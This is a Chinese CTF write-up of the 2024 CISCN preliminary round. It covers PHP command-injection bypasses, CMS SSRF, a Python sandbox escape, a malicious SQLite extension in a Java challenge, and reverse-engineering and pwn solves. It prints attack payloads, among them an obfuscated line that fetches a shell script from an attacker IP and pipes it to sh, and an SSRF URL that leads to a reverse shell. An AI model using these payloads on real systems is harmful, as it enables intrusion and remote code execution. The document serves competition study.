2024 CISCN 初赛赛后学习与总结
2024 CISCN 初赛赛后学习与总结
Natro92前言
最后排名是58,又被爆杀了,全程被队友抬了,不出意外的话应该能进复赛。
Web
以下内容为赛后总结,并非比赛时wp。
simple_php
1 |
|
我不理解这个题为什么能有这么多逆天绕过:escapeshellcmd
会给除@:-+=
等符号前添加\
也就是说可以一定程度上防shell。
第一种
使用php这里需要的payload是:
1 | php -r xxxx |
这个竟然可以直接运行,我最开始以为需要引号才可以。
而且神奇的是,套娃函数也可以用😓。也就是说可以想到eval
执行,里面用hex2bin
,这里比较难想的是可以通过使用substr
将数字转换为字符串。
这和想象的并不一样。因此可以构造payload:
1 | cmd=php -r eval(hex2bin(substr(Natro9273797374656d28276c73202f27293b,7))); |
但是发现根目录没有flag,ps
发现有mysql服务:
猜测flag位于mysql中:
这里可以使用sql查询,但是这里使用的是弱口令root root
,反弹出shell直接读也可以:
但是这里弹shell不知道为什么弹不出来。可能是哪里出问题了。
那就只能直接sql查了:
1 | # echo `mysql -u root -p'root' -e 'show databases;'`; |
1 | # mysql -u root -p'root' -e 'use PHP_CMS;show tables;' |
最后查下:
1 | # select * from PHP_CMS.F1ag_Se3Re7; |
这里是用ctfshow的靶机复现的。
第二种
还能用%0a
绕过:
构建payload:
记得要在抓包中修改ps
后面省略
第三种
用反斜杠将关键字符绕过,这个竟然能用我是最不理解的。
1 | cmd=eval `ec\ho Y3VybCBodHRwOi8vWW91ci1pcDo4MDAwLzEuc2h8c2g=|base\64 -d|s\h` |
注意要用\
将过滤的打断即可。
easycms
提示1: /flag.php:
1 | if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ |
提示2:github找一下源码?
dirsearch能扫到有flag.php
,也就是我们需要扫到一个ssrf点打。xunruicms-master\dayrui\Fcms\Core\Helper.php
其中有SSRF点:
api中是调用路由
1 | $value = urldecode(\Phpcmf\Service::L('input')->get('text')); |
可控参数,然后分析其中函数:
这里打的。
然后就根据内容构造payload即可:
api格式是查文档来的。
payload:
1 | ?s=api&c=api&m=qrcode&text=1&thumb=http://ip:port/1.php&size=10&level=1 |
利用重定向location让自己去访问flag.php然后cmd传参反弹shell的php就行。
注意cmd要全编码。
PS
远端那个并不是最新版,也就导致源码和能下到的不一样,所以有的文件夹没有,比如ueditor
这个文件夹。
而且github的源码和官网的源码不一样我去了。他还特意写个上github找找源码!
easycms_revenge
发现down_img
路由可以ssrf:
有个正则识别一下即可然后将img转成url了。
这里根据构造一下即可:
1 | get: ?s=api&c=file&m=down_img |
就能反弹到shell了
mossfern
基础准备
他这个博客说实话我没太看懂怎么用的。
循环1-100
1 | def f(): |
而生成器表达式我认为类似Lambda表达式,比如:
1 | # 生成器表达式示例,生成的是0到9每个数的平方 |
Lambda表达式:
1 | # Lambda表达式示例,创建一个简单的加法函数 |
而两者的不同点也可能就是前者更加适合迭代,而后者是生成一个匿名函数。
其中生成器的属性:
gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
其中的gi_frame
属性是生成器对象的当前栈帧对象。栈帧对象包含了生成器执行的所有上下文信息,包括正在执行的指令、当前的局部变量、全局变量、以及调用堆栈。通过gi_frame
,你可以访问这些上下文信息并进行诸如触发器、调试器和分析器等高级用途的操作。
比如这段示例代码获取生成器的当前帧信息:
1 | def my_generator(): |
1 | Local Variables: {} |
这其中的几个参数的含义为:
f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti
: 整数,表示最后执行的字节码指令的索引。f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
因此可以通过生成器的栈帧对象通过f_back
从而逃逸出获取到f_globals
导致获取到变量值。
1 | flag = "this is flag" |
这其中的next
函数也就是获取迭代器的下一个项目。
这里分析一下:
waff()
是最外层的函数。f()
是嵌套在waff()
里的一个函数,它是一个生成器函数,因为它包含yield
关键字。f()
被调用,返回一个生成器对象g
。next(g)
调用开始执行生成器f()
,但在yield
关键字处立即暂停,返回生成器当前的栈帧对象frame
。frame.f_back
返回waff()
函数的栈帧对象。frame.f_back.f_back
返回waff()
函数的调用者的栈帧对象,这里的调用者是全局执行环境,也就是exec(code, locals)
执行的上下文。f_globals
是一个包含当前栈帧中全局变量的字典。
回到题目
这样之后就好多了,我们看下题目,将code
放到json
中发送实现调用。
测试payload:
1 | code = '''def Natro92(): |
记得要将换行转义。
发送之后我们能注意到已经获取到了f_code
参数
而f_code
中变量如下:
co_varnames
:这是一个包含函数的局部变量和参数名的元组。在函数的作用域内声明的变量名会按照它们出现的顺序被保存在这里。co_names
:一个包含函数中使用的变量名(不包括局部变量)的元组,例如在函数内部引用的全局变量或内置变量名。co_consts
:一个包含字节码中所有常量引用的元组,这些常量可能是字符串、数字、元组等不变类型。
除了与变量相关的属性,f_code还包含了其他一些描述代码的属性:
co_argcount
:函数的位置参数的数量。co_kwonlyargcount
:函数的仅限关键字参数的数量。co_nlocals
:函数中局部变量的数量。co_stacksize
:函数执行所需的栈的大小。co_flags
:描述函数的功能的标志的数字,例如是否是一个生成器函数。co_code
:编译过的函数字节码的字符串表示。
我们可以查看其中的co_const
变量:
1 | def Natro92():\n def exp():\n yield test.gi_frame.f_back.f_back.f_back\n\n test = exp()\n for exp in test:\n tmp = exp\n return tmp\n\n\nnatro = Natro92()\nprint(natro.f_code.co_consts) |
然后就可以通过切片来绕过对flag
字符的过滤:
1 | {"code": "def Natro92():\n def exp():\n yield test.gi_frame.f_back.f_back.f_back\n\n test = exp()\n for exp in test:\n tmp = exp\n return tmp\n\n\nnatro = Natro92()\nprint(natro.f_code.co_consts[16][1:])"} |
PS:这个在当时ciscn的靶机索引是19,但是ctfshow的索引是16:
ez_java(未出复现)
这个当时没搞出来,唉,太菜了。Java打不动啊,我们队的另一个web师傅后面只能任意文件读取,不能rce。
下面是看着 B神 的wp搞得。
给了三个JDBC服务,但是只有sqlite
可以利用:
已经开启了扩展支持。
这里本地调试一下jar包(头一次知道jar包也能调试😓)
jar调试前准备
- 加载Maven库。
- 添加依赖(这步似乎idea在导入后自动会被导入)
- 设置调试器(
remote jvm debug
)
要选择自己的java版本,比如我这里如果使用java1.8就使用java8的配置参数:
1 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar .\app.jar |
看到运行到5005就是成功了。然后就是打开idea调试:
注意这里使用的端口是固定的11443,如果端口被占用需要kill掉前面的进程:
1 | netstat -aon|findstr "8081" |
先随便断个点测试是否调试成功了
然后测试访问接口localhost:11443/jdbc/index
,如果到了断点处则说明成功了:
回到题目
这里会取resourceAddr的hashcode在加上前缀作为最终缓存名称。我们需要利用这个特性缓存一个恶意的so文件。
按照要求构造恶意so文件
1 |
|
然后编译为so文件
1 | gcc -shared -fPIC exp.c -o exp.so |
warning不重要
然后使用load_extension('xxx',flag)
就可以加载flag方法,进行反弹shell。
第二次需要加载这个恶意的so文件:
这里先生成一个恶意的db文件:
1 | import java.io.File; |
这里创建了一个security
表,并且使用了as select
语句,如果发起请求,就会触发select
语句。
注意这里的名称记得要改成本地测试过的名称:
比如我的so文件是sqlite-jdbc-tmp--1726875147.db
就改成对应的。
开个python http服务传下试一试:
1 | /jdbc/connect |
按照想象的存了db文件。
然后再加载恶意的db,触发指定的sql语句就行了。
远端测试,先下载恶意文件:
再执行恶意db文件:
这里控制的也好,我记得我们队的师傅打的时候用fake mysql可以做到读文件再就没法继续了。太强了B神。
Rev
这是做题后的wp,可以在CISCN2024 询问师傅
asm_re
看汇编,简单转换一下逻辑,大概是这样
1 |
|
导出一下密文
爆破flag
exp
1 | enc = [0x1FD7, 0x21B7, 0x1E47, 0x2027, 0x26E7, 0x10D7, 0x1127, 0x2007, 0x11C7, 0x1E47, 0x1017, 0x1017, 0x11F7, 0x2007, 0x1037, 0x1107, 0x1F17, 0x10D7, 0x1017, 0x1017, 0x1F67, 0x1017, 0x11C7, 0x11C7, 0x1017, 0x1FD7, 0x1F17, 0x1107, 0x0F47, 0x1127, 0x1037, 0x1E47, 0x1037, 0x1FD7, 0x1107, 0x1FD7, 0x1107, 0x2787] |
flag{67e9a228e45b622c2992fb5174a4f5f5}
androidso_re
主要加密在inspect里面
key和iv都在native 层JNI里
都挺复杂的,静态不好分析
考虑动态,frida hook梭
1 | function hook() { |
结果发现getkey返回值不是Mofified UTF-8,导致程序崩溃
随意尝试直接hook JNI函数
1 | function hook() { |
得到
1 | key = b"A8UdWaeq" |
exp
1 | import base64 |
rust_baby
看看字符串窗口
有明显base64表和数据
跟进一下找到主函数sub_14000298A
先解看看这数据是什么
得到
1 | { |
大致判断igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc=是最后的密文
base64解码一下最终密文,可以得知输入长度是104
开始调试,输入长度伪104的字符串,这里对输入进行分组
355行对数据进行了加密处理,静态看比较复杂
直接看结果,前两位-1然后两位不变,再两位+1,最后两位+2
然后加密完后每一位异或0x33
中间一大段是用这这两串来进行一系列操作 “whatadoor”:”1145141919810WTF”, “iwantovisit”:”O0PSwantf1agnow1”生成一个串来和输入进行异或
然后对比数据可以发现,输入加密后存在了这里v181这里都是同样的8个一组
记录下来,后面会用到
在这往后也是一堆异或操作
往后找,直到这里
看看src,dump下来
再往后是一些base64加密
然后到这里
在汇编界面运行到这里
可以得到输入的最后加密结果
把他base64解密一下,得到的和之前记录的src一样,印证了中间一大串都是base64
那我们用最初记录下来的8位一组的加密结果与src异或
然后我们换个输入,同样的做法也会得到相同的值,说明这就是密钥
用这个密钥去异或最后的加密结果,还原出异或前的值
然后这个值再异或0x33
就得到一串只要解最开始的前两位-1然后两位不变,再两位+1,最后两位+2就是正确输入的数据了
我们用正确的密文解一下
写个脚本解一下
exp
1 | enc = [0x65,0x6b,0x61,0x67,0x7c,0x37,0x67,0x34,0x33,0x37,0x30,0x62,0x34,0x2e,0x36,0x68,0x2f,0x31,0x2d,0x34,0x64,0x67,0x33,0x2f,0x38,0x61,0x63,0x30,0x2e,0x32,0x34,0x35,0x61,0x36,0x35,0x66,0x3a,0x62,0x3b,0x34,0x31,0x7c,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47,0x44,0x44,0x45,0x45,0x46,0x46,0x47,0x47] |
whereThel1b
以为是cython逆向,硬看so,脑子直接炸
后来转念一想,运行脚本看看呢
输入任意三个字符trytry都返回4个数字
猜测跟base有关或者类似
考虑每次去爆破三个字符,然后补齐剩下的,调用trytry得到返回值去和密文比较
注意so的调用必须是linux 下python 3.10
exp
1 | import whereThel1b |
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}
gdb_debug
种子是固定的
考虑直接动调,拿异或因子
第一个断点,拿到v20异或因子,只取低两位0xD9
第二个断点
然后转到汇编,一直F8运行至这里
点ptr获得indx值
第三个断点
然后转到汇编,在rand()处再下个断点,同样取低两位 0xDE
最后的数据是静态的byte数组,点进去就行了
exp
1 | key = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78] |
Pwn
有问题可以咨询 Berial的博客 师傅
gostack
我的IDA有的部分是反编译不了的,所以用的是IDA加gdb调试来分析
golang写的,先找到main_main函数
判断就是个栈溢出,虽然实现的东西很简单,不过golang真的看着很复杂
我是根据0x208去填充的,计算一下偏移具体为多少
找到偏移之后就是打ret2syscall
感觉难点就是偏移不是特别好找
exp:
1 | from pwn import * |
orange_cat_diary
被题目唬住了,还想着打House of cat,2.23直接打fastbin就行了,劫持malloc_hook。
delete函数有UAF,但只有一次。
edit函数有8字节,堆溢出。
本来想改topchunk的size触发__malloc_assert打IO的,后来才想到打fastbin attack,果然有时候不能想的太复杂。
exp:
1 | from pwn import * |
Ezheap
这道题当时是House of apple,但是后来想了想,还是打栈简易一点
add函数会使用memset函数,也就是说我们泄露只能从堆溢出来泄露了
有个任意长度的堆溢出
限制了只能用orw
先用堆溢出泄露地址
1 | add(0x50)#0 |
之后就是泄露栈地址,打栈orw就完事了
exp:
1 | from pwn import * |
Cry
战队已有师傅发过,这里不再重复了。
Misc
战队已有师傅发过,这里不再重复了。